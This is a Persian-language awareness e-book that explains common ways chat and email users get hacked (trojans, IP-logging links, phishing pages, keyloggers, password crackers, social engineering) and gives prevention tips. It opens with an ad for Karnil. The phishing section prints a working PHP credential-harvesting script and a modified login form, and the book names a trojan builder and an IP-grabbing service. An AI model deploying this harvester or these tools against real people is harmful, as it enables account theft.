✓کارنیل، بزرگترین شبکه موفقیت ایرانیان می باشد، که افرادی زیادی توانسته اند با آن به موفقیت برسند، فاطمه رتبه ۱۱ کنکور کارشناسی، محمد حسین رتبه۶۸ کنکور کارشناسی، سپیده رتبه ۳ کنکور ارشد، مریم و همسرش راه اندازی تولیدی مانتو، امیر راه اندازی فروشگاه اینترنتی،کیوان پیوستن به تیم تراکتور سازی تبریز، میلاد پیوستن به تیم صبا، مهسا تحصیل در ایتالیا، و..... این موارد گوشه از افرادی بودند که با کارنیل به موفقیت رسیده اند، شما هم می توانید موفقیت خود را با کارنیل شروع کنید.

برای پیوستن به تیم کارنیلی های موفق روی لینک زیر کلیک کنید.

www.karnil.com

همچنین برای ورود به کانال تلگرام کارنیل روی لینک زیر کلیک کنید.

https://telegram.me/karnil

بسم الله الرحمن الرحیم

نویسنده و گرد آورنده : علی انصاری

ایمیل : Ansari1375@gmail.com

کتابخانه الکترونیکی ویکیو : http://ebook.veyq.ir

فهرست مطالب

مقدمه 3
از چه راه هایی هک میشوید؟ 4
تروجان ها 5
لینک هایی که آی پی شما را به هکر میدهد 6
صفحات تقلبی(Fake Page) 7
روش کار صفحات تقلبی 8
برنامه های تقلبی(Fake Program) 9
کیلاگر ها 10
کرکر ها 11
مهندسی اجتماعی 12

با سلام.تقریبا چندین سال است که چت با ابزار هایی نظیر یاهو مسنجر ارتباط سریع و ساده میان ایرانیان را فراهم ساخته است.اخیرا نیز شبکه های اجتماعی نظیر فیسبوک و گوگل پلاس پدید آمده اند که نسبت به یاهو از امکانات بیشتری بهرهمند هستند.نقطه مشترک میان آنها مسئله امنیت است.شاید برای شما هم پیش آمده باشد که در فضای اینترنت هک شده باشید و احتمالا بعد از آن از شما اخاذی شده باشد.احساس امنیت در اینترنت هم ممکن است.فقط باید راه های نفوذ را شناسایی و آنهارا برطرف نماییم.در این کتاب متداول ترین روش ها توضیح داده شده و همچنین بهترین روش های جلوگیری هم بیان شده است.پس دیگر نگران امنیت خود نباشید!

با تشکر،علی انصاری

قایی هک میشوید؟

1-تروجان ها و کیلاگر ها

2-صفحاتی که آیپی شما را به هکر میدهند

3-صفحات تقلبی

4-کرکر ها

5-مهندسی اجتماعی!!!

این پنج روش از متداول ترین روش های هک کردن کاربران فضای مجازی است.هرکدام از اینها به راحتی قابل جلوگیری است به جز روش پنجم که کاملا به خودتان بستگی دارد.در ادامه بیشتر توضیح خواهیم داد.

تعریف: تروجان یک فایل جاسوسی میباشد که توسط هکر با توجه به نیاز به اطلاعات قربانی آماده میشود و برای قربانی فرستاده میشود.

به عنوان مثال هکر به تروجان یا همان فایل جاسوسی دستور میدهد که برود و از مکان مشخصی از کامپیوتر شما پسورد های ذخیره شده را بدزدد و برای ایمیل هکر بفرستد که اگر با موفقیت همراه باشد زیان های جبران ناپذیری به بار می آورد.از جمله نرم افزار های ساخت تروجان Magic Ps است که هکر های زیادی از آن بعنوان یک تروجان ساز محبوب یاد میکنند.

معمولا تروجانها به دو قسمت تقسیم میشوند:
1-کلاینت:که تنظیمات را انجام داده و آن را با توجه به نیازهایی که بیان کردیم تنظیم مینمایند .
2-سرور:که بعد از تنظیمات باید این سرور برای قربانی فرستاده شود تا قربانی بعد از دریافت آن را اجرا کند.

با پیشرفت تروجان ها این امکانات به آنها اضافه شد.
1-فرستاده شدن اکانت اینترنت شما برای هکر
2-فرستاده شدن نام کامپیوتر شما همراه با پسورد ویندوز برای هکر
3-محدود کردن کارهای شما با کامپیوتر(قفل شدن Task Manager) کامپیوتر شما توسط هکر
4-از کار انداختن ویروس کش و فایروال کامپیوتر شما
5-در اختیار داشتن هارد شما توسط هکر(پاک کردن فایل از کامپیوتر شما و یا اضافه کردن فایل توسط هکر)

یک تروجان میتواند به صورت فایل اجرایی (exe) برای شما ارسال شود یا یک فایل صوتی یا تصویری با تروجان ادغام شود(Bind).در صورت دوم شما متوجه نمیشوید که این یک تروجان است.

در صورتی که کامپیوتر شما این مشخصات را دارد باید بگویم متاسفانه کامپیوتر شما آلوده به تروجان است.
1-در صورت از کار افتادن Task Managerو Msconfig
2-از کار افتادن ویروس کش
3-تغییر در شکل توپی پسورد در مسنجر ویا سیو نشدن آن
4-در صورت دیدن علائم مشکوک در مسنجر(باز و بسته شدن یک پنجره پی ام)
5-فعال بودن نرم افزار های مشکوک مثل Task Managerو Msconfig
6-خوانده شدن ایمیل های که ما آنها را قبلا نخوانده ایم

برای جلوگیری از آلوده شدن به تروجان این موارد را رعایت کنید:
1-از هر فرد ناشناسی فایل دریافت نکنید
2- همیشه Task Managerو Msconfigخود را چک کنید اگر چیزی مشکوک دیدید مثل sender.exeبروید و در درایو ویندوز پوشه windows/system32دنباله چنین فایلی باشید که مشکوک بود و آن را پاک کنید.
3-آنتی ویروس خود را همیشه به روز نگه دارید.
برای از بین بردن تروجان ها از Anti Trojan Elite استفاده کنید.

لینک هایی که آیپی شما را به هکر میدهند

آیپی یک نشانی چهار قسمتی است که هر قسمت شامل یک عدد بین 0 تا 255 میباشد.شما وقتی به اینترنت متصل میشوید دارای یک آیپی مثل آیپی زیر هستید:
0.1.2.3
اگر کسی که مقاصد بدی دارد(هکر) آیپی شما را بداند با آنلایز کردن پورت های باز شما به راحتی به سیستم شما دسترسی پیدا میکند.
سایت myspy.ir این خدمت را برای هکر ها انجام میدهد!!!
این سایت یک لینک به هکر میدهد و هکر هم آنرا به شما میدهد.آیپی،سیستم عامل،مرورگر، سایت هایی که دیده اید و اطلاعات حساس دیگری با باز شدن این لینک توسط شما به هکر داده میشود.
این قشر از لینک ها قابل شناسایی نیست.تنها راهی که میتوانید از شر این روش آسوده باشید این است که هوشیار باشید و هر لینکی را از هر ناشناسی که به شما میدهد باز نکنید.
نصب یک فایروال خوب نیز میتواند بسیار موثر باشد.چون فایروال ها معمولا آیپی این جور سایت ها را بلاک میکنند و به شما اجازه ورود نمیدهند.

صفحات تقلبی

صفحات تقلبی یا Fake Page از محبوب ترین روش ها نزد هکر ها است.صفحات تقلبی دقیقا شبیه بعنوان مثل یاهو میل است.نوشته ها،سایز ها و همه چیز دقیقا مثل صفحه اصلی یاهومیل است.با وارد کردن ایمیل و پسورد شما هردو در جایی ذخیره میشوند و هکر بعدا به سراغ آنها خواهد رفت و احتمالا عواقب مخربی خواهد داشت.

راه های شناسایی صفحه تقلبی یا فیک پیج

1-اصولی ترین راه نگاه کردن به آدرس است.بعنوان مثال آدرس یاهومیل اینچنین است:
http://yahoomail.com
اما آدرس فیک پیج ممکن است شبیه آدرس بالا باشد اما هیچوقت خود این آدرس نیست پس با کمی دقت میتوانید بفهمید که این صفحه واقعی است یا تقلبی.
مثال آدرس فیک پیج:
http://yahoomail.felan.com
2-برای شناسایی صفحه تقلبی میتوان به کد صفحه نیز توجه کرد.برای این کار روی صفحه راست کلیک کنید و View Source را انتخاب کنید.اکنون کد html صفحه برای شما نمایان میشود.
حالا دنبال واژه action بگردید.
چیزی شبیه به این خواهید دید:

```
<form method="post" action="https://login.yahoo.com/config/login?"
```

یک آدرس جلوی action وجود دارد.میبینید که آدرس مربوط به سایت یاهو میباشد پس این صفحه نمیتواند تقلبی باشد.

```
https://login.yahoo.com/config/login?
```

3-روش سوم شناسایی فیک پیج ها وارد شدن با ایمیل و پسود بی ارزش است.بدین منظور یک ایمیل تازه بسازید و با آن ایمیل و پسورد وارد شوید.اگر پیغام خطا داد بدین معنی است که این یک صفحه تقلبی است.اما صفحات تقلبی گاها پس از ورود به صفحه اصلی یاهو منتقلتان میکنند که شک نکنید.این هم با نگاه کردن به آدرس و دیدن تغییرات قابل شناسایی است.

روش کار صفحات تقلبی

برای اینکه روش کار صفحات تقلبی را بدانیم ابتدا لازم است کمی از زبان های برنامه نویسی زیر سررشته داشته باشیم.

Html,PHP

هکر ها ابتدا کد صفحه اصلی یاهو میل را ذخیره میکنند.سپس با تغییر دادن آدرس جلوی اکشن صفحه را منحرف میکنند و به یک فایل پی اچ پی انتقال میدهند.فایل پی اچ پی اطلاعات به دست آمده از صفحه تقلبی را تحلیل میکند و آن را در یک فایل متنی ذخیره میکند.

نمونه کدنویسی صفحه تقلبی:

```
<form method="post" action="hacker.php"
```

نمونه فایل پی اچ پی هکر:

```
<?php
header ('Location: /error.php ');
$handle = fopen("Hacker.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
```

این برنامه پی اچ پی اطلاعات شما را در فایلی با نام زیر ذخیره میکند:

Hacker.txt

برنامه های تقلبی (Fake Program)

این روش خیلی خطرناک هست.چون شما نمیتوانید به همین راحتی متوجه بشوید.هکر یک فایل مخرب را برای شما میفرستد.با باز کردن آن فایل بعنوان مثال یاهو مسنجر شما آلوده خواهد شد. این الودگی به شکل ظاهری خودش را نشان نمیدهد.شما اکنون در کاپیوتر خود یک برنامه تقلبی دارید که آن هم یاهو مسنجر میباشد!!!

در این حال اگر با آیدی و پسورد خود وارد شوید بلافاصله آیدی و پسورد شما برای هکر ارسال میشود.زیرا ایندفعه تروجان در قلب یاهو مسنجر شما نفوذ کرده است.

راه های جلوگیری از این روش

1-آنتی ویروس خود را بروز نگه دارید.

2-همیشه جدید ترین نسخه یاهو مسنجر را نصب کنید.

3-یاهو مسنجر خود را از سایت های معتبر دانلود کنید.

کار کیلاگر ها بسیار ساده و همچنان بسیار مخرب است.کیلاگر ها در ابتدا فقط کلید های زده شده روی کیبورد را برای هکر میفرستاد.اما با پیشرفت علم هکینگ کیلاگر ها دارای امکاناتی نظیر عکس گرفتن از صفحه و فرستادن برای هکر شدند.

کیلاگر ها اطلاعات رو به ایمیل هکر یا یک سرور اف تی پی میفرستند که در هر دو صورت یکی از مشخصه ها کاهش ناگهانی سرعت اینترنت و بازگشت به حالت عادی است.

دور زدن کیلاگر ها بسیار مشکل هست چرا که قادر هستند خودشون رو مخفی کنند.اما اصلا نگران نباشید.چون همیشه یک راه حل وجود دارد.

متداول ترین راه های دور زدن کیلاگر

1-استفاده از یک آنتی ویروس بروز و پر قدرت.
2-استفاده از صفحه کلید های مجازی نظیر صفحه کلید ویندوز که از آدرس زیر قابل دسترسی هست:
Start – All Programs – Accessories - Ease of Access - On-Screen Keyboard
3-زدن کلید های متفرقه و اشتباه به هنگام وارد کردن پسورد برای سردرگم کردن هکر.

یک برنامه ضد کیلاگر:

http://www.anti-keyloggers.com

روش کار cracker به این صورت است که تعداد زیادی پسورد به همراه آیدی شما به برنامه cracker داده میشود و برنامه با اتصال به سرور های یاهو این پسورد ها را امتحان کرده و وقتی به پسورد درست رسید به هکر اطلاع می دهد.این روش همان روش آزمون و خطا میباشد.

در اوایل کار یاهو قانونی وضع کرد که طبق آن اگر از طرف یک آیپی تعداد زیادی لاگین انجام شود آن آیپی دیگر قادر به لاگین نخواهد بود.با این روش تا مدتی جلوی کرکر ها را گرفت.اما مدتی بعد هکر های خلاق با نصب پروکسی روی برنامه باعث شدند کرکر هر از چند گاهی آیپی خود را عوض کند تا یاهو آنرا شناسایی نکند.هنوز هم این روش پروکسی کارایی دارد.

برنامه هایی هم هستند که تعداد زیادی پسورد می سازند برای کرکر ها.

مهم ترین راه جلوگیری از لو رفتن پسورد توسط کرکر انتخاب یک پسورد طولانی است.گاها گفته میشود در پسورد خود از کاراکتر های عجیب و غریب استفاده کنید.اما من به شما میگویم که استفاده از کاراکتر های عجیب و غریب کاملا بی فایده است.چون همان برنامه های پسورد ساز میتوانند پسورد هایی شبیه پسود شما بسازند.

به سایت زیر بروید:

http://www.passwordmeter.com

این سایت به شما میگوید پسوردتان چقدر قوی است و چقدر طول میکشد تا کرک شود.

این سایت نیز به شما کمک میکند پسوردی قوی بسازید:

http://strongpasswordgenerator.com

استفاده از این دو سایت به شدت توصیه میشود.

تعریف بین المللی از مهندسی اجتماعی در سایت ویکیپدا چنین آمده است :

مهندسی اجتماعی هنر بهره برداری از رفتارهای آسیب پذیر انسان‌ها برای ایجاد شکاف امنیتی بدون هیچ ظن و گمانی از سوی قربانی است.

تمام راه هایی که در این کتاب نوشته شده با بکار بردن مهندسی اجتماعی دو برابر آسانتر میشود.

با یک مثال این مسئله را توضیح میدهم.

هکر برای فرستادن تروجان یا کیلاگر به سمت قربانی نیاز دارد تا قربانی را به این کار ترغیب کند. به این منظور از جمله های جذابی مثل "کاملا رایگان"،"عکس های فلان هنرپیشه"و... قربانی را ترغیب به دانلود فایلی میکند که آلوده به تروجان یا کیلاگر است.

1-لینک هایی که خبر های بزرگ دارد:مثل خبر مرگ یا اتفاقی بزرگ برای شخصیت های مهم.

2-جعل هویت:کسی که خود را از دوستان شما معرفی میکند.

این دو از برترین روش های مهندسی اجتماعی به شمار میرود.

نکته مهم:مهندسی اجتماعی تنها ترغیب برای دریافت فایل خاصی نیست.بلکه یک نفر ممکن است از شما بخواهد مشخصات تولد خود را به او بدهید.اما او با دانستن اینها میتواند رمز عبور شما را از یاهو دریافت کند.